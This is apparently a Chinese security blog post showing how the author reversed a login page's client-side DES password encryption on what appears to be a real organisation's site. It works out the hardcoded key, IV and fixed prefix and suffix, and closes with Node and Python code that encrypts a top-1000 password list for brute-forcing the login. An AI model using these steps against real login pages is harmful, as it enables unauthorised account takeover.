记一次 JS 逆向密码加密 今天漫游某单位资产的时候,发现了一个站点,反手 admin/admin
测一下,提示 密码不正确
,输入 admin1/admin1
提示 用户不存在
,同时 验证码
还可以重复使用,这不得 top1000
跑一下
F12
查看一下网络请求,发现验证码被添加到了 Cookie
里面,但既然可以复用,我们就不管了,其次 载荷
里的数据被加密了
1 2 userName: QEAqMWFkbWluaG5zaA== password: QEAqMTk2ZjFhNjZiNjBkZjI1YWVobnNo
根据多年CTF经验,直接 Base64
解码
1 2 userName: @@*1adminhnsh password: @@*196f1a66b60df25aehnsh
观察数据发现头尾的 @@*1
和 hnsh
是固定的,同时用户名未经过加密直接是 admin
,密码经过了加密处理,我们点击启动器看看调用堆栈
点击后会自定跳转到相应的代码片段,我们看到通过 ajax
发送了一个 POST
请求,url
为 /login.do
,参数来自 JsonData
1 var JsonData = { login : encodeString (login), pwd : encodeString (afterEncrypt), code : code };
其中 pwd
参数通过 encryptByDES()
处理了一下
1 var afterEncrypt = encryptByDES (pwd);
我们给 afterEncrypt
和 JsonData
打上断点
我们再次点击提交数据,发现已经在预定的位置断点成功了,我们点击进入 下一个函数调用
去查看一下 encryptByDES()
(直接全局搜索 encryptByDES
也可以 )
我们看到了关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 var define = "default-*****" ;var ivParams = "def-parm" ;var strPre = "@@*1" ;var strSuf = "hnsh" ;function encryptByDES (content ) { var key=define; key = CryptoJS .MD5 (key).toString ().substring (0 , 16 ).toUpperCase (); var keyHex = CryptoJS .enc .Utf8 .parse (key); var ivHex = CryptoJS .enc .Utf8 .parse (ivParams); var encrypted = CryptoJS .DES .encrypt (content, keyHex, { iv : ivHex, mode : CryptoJS .mode .CBC , padding : CryptoJS .pad .Pkcs7 }); return encrypted.ciphertext .toString (); }
然后我们一直点击 跳过下一个函数调用
即可,最后发现 JsonData
已经被正确赋值了
encryptByDES()
调用了 crypto-js
库扣取代码过程有点繁杂,我们直接使用 NodeJS
中转一下,直接使用 npm install crypto-js
,在代码中引用即可,然后粘贴我们抠出来的代码,同时改一下 return
,加上固定的头尾
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 const CryptoJS = require ('crypto-js' );var define = "default-*****" ;var ivParams = "def-parm" ;var strPre = "@@*1" ;var strSuf = "hnsh" ;function encryptByDES (content ) { var key=define; key = CryptoJS .MD5 (key).toString ().substring (0 , 16 ).toUpperCase (); var keyHex = CryptoJS .enc .Utf8 .parse (key); var ivHex = CryptoJS .enc .Utf8 .parse (ivParams); var encrypted = CryptoJS .DES .encrypt (content, keyHex, { iv : ivHex, mode : CryptoJS .mode .CBC , padding : CryptoJS .pad .Pkcs7 }); return strPre + encrypted.ciphertext .toString () + strSuf; }
其实直接使用 NodeJS
也行,但是感觉还是 Python
方便点,正好学一下 execjs
的使用,记得先对照一下自己写的代码加密数据是否和网站加密的数据一致
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import execjsimport base64def encryptByDES (content ): js_code = open ("enc.js" ).read() ctx = execjs.compile (js_code) return ctx.call("encryptByDES" , content)if __name__ == '__main__' : with open ("top1000.txt" , "r" ) as f: for line in f: a = encryptByDES(line).encode("utf-8" ) b = base64.b64encode(a).decode("utf-8" ) with open ("pass.txt" , "a" ) as f: f.write(b + "\n" )